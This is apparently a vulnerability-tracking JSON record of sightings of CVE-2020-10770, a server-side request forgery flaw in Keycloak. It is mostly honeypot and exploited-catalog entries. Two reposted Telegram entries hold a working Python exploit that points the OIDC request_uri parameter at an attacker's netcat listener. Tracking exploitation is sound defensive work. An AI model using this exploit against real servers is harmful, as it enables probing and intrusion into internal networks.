{"vulnerability": "cve-2020-10770", "sightings": [{"uuid": "799893b7-3bd1-4351-a947-f659a53793d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-05)", "content": "", "creation_timestamp": "2025-02-05T00:00:00.000000Z"}, {"uuid": "925eb22d-0a4d-471d-98c3-47ab307c2ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-26)", "content": "", "creation_timestamp": "2025-03-26T00:00:00.000000Z"}, {"uuid": "7a2e3d59-3c7c-4de2-a36c-fe2120549038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-09)", "content": "", "creation_timestamp": "2025-03-09T00:00:00.000000Z"}, {"uuid": "f2ba7c17-3f45-47a2-9765-18d195416d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-09)", "content": "", "creation_timestamp": "2025-03-09T00:00:00.000000Z"}, {"uuid": "cca907c8-0ab6-401a-b120-eb8ef660a9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "4ddb7255-cb24-4c3e-b6b4-37a76c653add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-03)", "content": "", "creation_timestamp": "2025-05-03T00:00:00.000000Z"}, {"uuid": "294890f9-665a-4b66-a4ab-5060904f7e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2020-10770", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3lvtzwnbkyk2a", "content": "", "creation_timestamp": "2025-08-08T00:51:26.358948Z"}, {"uuid": "30b2db62-d247-4d57-868c-0d3d585de9b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-22)", "content": "", "creation_timestamp": "2025-11-22T00:00:00.000000Z"}, {"uuid": "c5f6b337-003c-40fd-9260-619b1b86d6d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2020-10770", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3lw53dtq7bs2b", "content": "", "creation_timestamp": "2025-08-11T15:10:40.714037Z"}, {"uuid": "01ca5610-b4c4-4b9c-bded-257102003a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-11)", "content": "", "creation_timestamp": "2025-10-11T00:00:00.000000Z"}, {"uuid": "1f90bf8c-30b4-49d9-a3b3-0d1824bd6787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "b876e489-1419-416c-9a52-4cff18b88b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "28c7bb3a-da72-4251-a3aa-4b92a8193dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-24)", "content": "", "creation_timestamp": "2025-08-24T00:00:00.000000Z"}, {"uuid": "ae305ad3-3e76-418d-83cc-6a072aea78c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-25)", "content": "", "creation_timestamp": "2025-08-25T00:00:00.000000Z"}, {"uuid": "ceb11d39-142e-4e08-8978-cfc9544800bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-12)", "content": "", "creation_timestamp": "2025-12-12T00:00:00.000000Z"}, {"uuid": "f0ab2e2a-ada5-418a-a87e-b3055b1e9427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-13)", "content": "", "creation_timestamp": "2025-12-13T00:00:00.000000Z"}, {"uuid": "bf5d40f0-45d0-4c57-b4b8-efa1f5a5e3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-21)", "content": "", "creation_timestamp": "2025-12-21T00:00:00.000000Z"}, {"uuid": "1fa4085e-0de4-49a3-9ef1-a8faba8e0ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/cibsecurity/71269", "content": "\u203c CVE-2023-44469 \u203c\n\nA Server-Side Request Forgery issue in the OpenID Connect Issuer in LemonLDAP::NG before 2.17.1 allows authenticated remote attackers to send GET requests to arbitrary URLs through the request_uri authorization parameter. This is similar to CVE-2020-10770.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-29T12:42:29.000000Z"}, {"uuid": "2761bce6-a735-41a8-adcf-1e2d7b4d32c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/cibsecurity/20877", "content": "\u203c CVE-2020-10770 \u203c\n\nA flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-12-15T22:40:56.000000Z"}, {"uuid": "0b067064-d91a-4928-9c2f-3ca2995b1353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "1a90843c-af34-4d13-a77d-cc4a1553ae23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-07)", "content": "", "creation_timestamp": "2026-08-08T10:24:02.323097Z"}, {"uuid": "f7d56eb9-3927-40cc-9418-8e68234d9bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:04.611000Z"}, {"uuid": "65811e2e-2122-42c1-b8bc-f4a553e0d55d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5e58d062-989f-481e-bf08-351bd25e42e7", "content": "", "creation_timestamp": "2026-06-23T14:06:19.455617Z"}, {"uuid": "426bf5b2-a546-45f4-b532-2c1f8932313b", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-10770", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e7940a09-54d4-449f-b678-9caeed08ec0e", "content": "", "creation_timestamp": "2026-06-30T09:23:58.036997Z"}, {"uuid": "c68ec720-8511-46bc-a7c3-dd631fec8631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:48:59.727778Z"}, {"uuid": "671814c1-8b00-41f2-ac7f-ab9a9dc9bcd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167746", "content": "The Unexpected Power of One OIDC Parameter in Exposing Keycloak\u2019s Inner NetworkContinue reading on Medium \u00bb (https://medium.com/@ibtissamhammadi1/my-journey-uncovering-the-hidden-ssrf-flaw-cve-2020-10770-8394c57ed459?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:20.071477Z"}, {"uuid": "00152efc-c634-4ed0-ba6a-d4c15c807a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167744", "content": "My Journey Uncovering The Hidden SSRF Flaw CVE 2020 10770\nhttps://medium.com/@ibtissamhammadi1/my-journey-uncovering-the-hidden-ssrf-flaw-cve-2020-10770-8394c57ed459?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:19.914732Z"}, {"uuid": "0af6321c-0ff8-4e32-b892-f8af43014518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167428", "content": "The Forgotten SSRF Vector (CVE-2020\u201310770)\nhttps://medium.com/h7w/the-forgotten-ssrf-vector-cve-2020-10770-8bf04bfd4be9?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:20.115529Z"}, {"uuid": "ffc1849b-64ab-4c8b-b0fc-bdf8982a67b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167430", "content": "How a single OIDC parameter opened the door to internal services in Keycloak servers worldwideContinue reading on T3CH \u00bb (https://medium.com/h7w/the-forgotten-ssrf-vector-cve-2020-10770-8bf04bfd4be9?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:20.157509Z"}, {"uuid": "6a11f3e8-e336-491a-bc20-5e7fa775913b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/27503", "content": "Exploit Collector\nKeycloak 12.0.1 Server-Side Request Forgery\n\nhttps://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png \nKeycloak version 12.0.1 suffers from a blind server-side request forgery vulnerability.\n\nMD5 | 46b6bc8313add709c2ac9feb8b16a65d\n\nDownload\n# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)\n# Date: 2021-10-13\n# Exploit Author: Mayank Deshmukh\n# Author Twitter: ColdFusionX_\n# Vendor Homepage: https://www.keycloak.org/\n# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html\n# Version: versions < 12.0.2\n# Tested on: Kali Linux\n# CVE : CVE-2020-10770\n\n#!/usr/bin/env python3\n\nimport argparse, textwrap\nimport requests\nimport sys\n\nparser = argparse.ArgumentParser(description=\"-=[Keycloak Blind SSRF test by ColdFusionX]=-\", formatter_class=argparse.RawTextHelpFormatter, \nepilog=textwrap.dedent(''' \nExploit Usage : \n./exploit.py -u http://127.0.0.1:8080\n[^] Input Netcat host:port -> 192.168.0.1:4444\n''')) \n\nparser.add_argument(\"-u\",\"--url\", help=\"Keycloak Target URL (Example: http://127.0.0.1:8080)\") \nargs = parser.parse_args()\n\nif len(sys.argv) <=\nprint (f\"Exploit Usage: ./exploit.py -h [help] -u [url]\") \nsys.exit() \n\n# Variables\nHost = args.url\n\nr = requests.session()\n\ndef ssrf():\nheaderscontent = {\n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',\n}\nhook = input(\"[^] Input Netcat host:port -> \")\n\n_req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)\nreturn True\n\nif __name__ == \"__main__\":\n\nprint ('\\n[+] Keycloak Bind SSRF test by ColdFusionX \\n ')\ntry: \nif ssrf() == True:\nprint ('\\n[+] BINGO! Check Netcat listener for HTTP callback :) \\n ')\n\nexcept Exception as ex:\nprint('\\n[-] Invalid URL or Target not Vulnerable')\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.681530Z"}, {"uuid": "bf732beb-428c-4df5-b848-895d0a4b00b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167430", "content": "How a single OIDC parameter opened the door to internal services in Keycloak servers worldwideContinue reading on T3CH \u00bb (https://medium.com/h7w/the-forgotten-ssrf-vector-cve-2020-10770-8bf04bfd4be9?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:37.297198Z"}, {"uuid": "c644ebd0-a0a1-40f5-bf6f-2c465a94e292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167428", "content": "The Forgotten SSRF Vector (CVE-2020\u201310770)\nhttps://medium.com/h7w/the-forgotten-ssrf-vector-cve-2020-10770-8bf04bfd4be9?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:37.242334Z"}, {"uuid": "00a6a558-dfcd-434e-b9af-77e29c9e515e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167744", "content": "My Journey Uncovering The Hidden SSRF Flaw CVE 2020 10770\nhttps://medium.com/@ibtissamhammadi1/my-journey-uncovering-the-hidden-ssrf-flaw-cve-2020-10770-8394c57ed459?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:37.121617Z"}, {"uuid": "2b98d3e2-31b6-4e07-87f6-14ef120e4fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/167746", "content": "The Unexpected Power of One OIDC Parameter in Exposing Keycloak\u2019s Inner NetworkContinue reading on Medium \u00bb (https://medium.com/@ibtissamhammadi1/my-journey-uncovering-the-hidden-ssrf-flaw-cve-2020-10770-8394c57ed459?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:37.182365Z"}, {"uuid": "977eb4a3-ac53-41eb-8719-56617e9e5cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/27503", "content": "Exploit Collector\nKeycloak 12.0.1 Server-Side Request Forgery\n\nhttps://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png \nKeycloak version 12.0.1 suffers from a blind server-side request forgery vulnerability.\n\nMD5 | 46b6bc8313add709c2ac9feb8b16a65d\n\nDownload\n# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)\n# Date: 2021-10-13\n# Exploit Author: Mayank Deshmukh\n# Author Twitter: ColdFusionX_\n# Vendor Homepage: https://www.keycloak.org/\n# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html\n# Version: versions < 12.0.2\n# Tested on: Kali Linux\n# CVE : CVE-2020-10770\n\n#!/usr/bin/env python3\n\nimport argparse, textwrap\nimport requests\nimport sys\n\nparser = argparse.ArgumentParser(description=\"-=[Keycloak Blind SSRF test by ColdFusionX]=-\", formatter_class=argparse.RawTextHelpFormatter, \nepilog=textwrap.dedent(''' \nExploit Usage : \n./exploit.py -u http://127.0.0.1:8080\n[^] Input Netcat host:port -> 192.168.0.1:4444\n''')) \n\nparser.add_argument(\"-u\",\"--url\", help=\"Keycloak Target URL (Example: http://127.0.0.1:8080)\") \nargs = parser.parse_args()\n\nif len(sys.argv) <=\nprint (f\"Exploit Usage: ./exploit.py -h [help] -u [url]\") \nsys.exit() \n\n# Variables\nHost = args.url\n\nr = requests.session()\n\ndef ssrf():\nheaderscontent = {\n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',\n}\nhook = input(\"[^] Input Netcat host:port -> \")\n\n_req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)\nreturn True\n\nif __name__ == \"__main__\":\n\nprint ('\\n[+] Keycloak Bind SSRF test by ColdFusionX \\n ')\ntry: \nif ssrf() == True:\nprint ('\\n[+] BINGO! Check Netcat listener for HTTP callback :) \\n ')\n\nexcept Exception as ex:\nprint('\\n[-] Invalid URL or Target not Vulnerable')\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:39.667324Z"}]}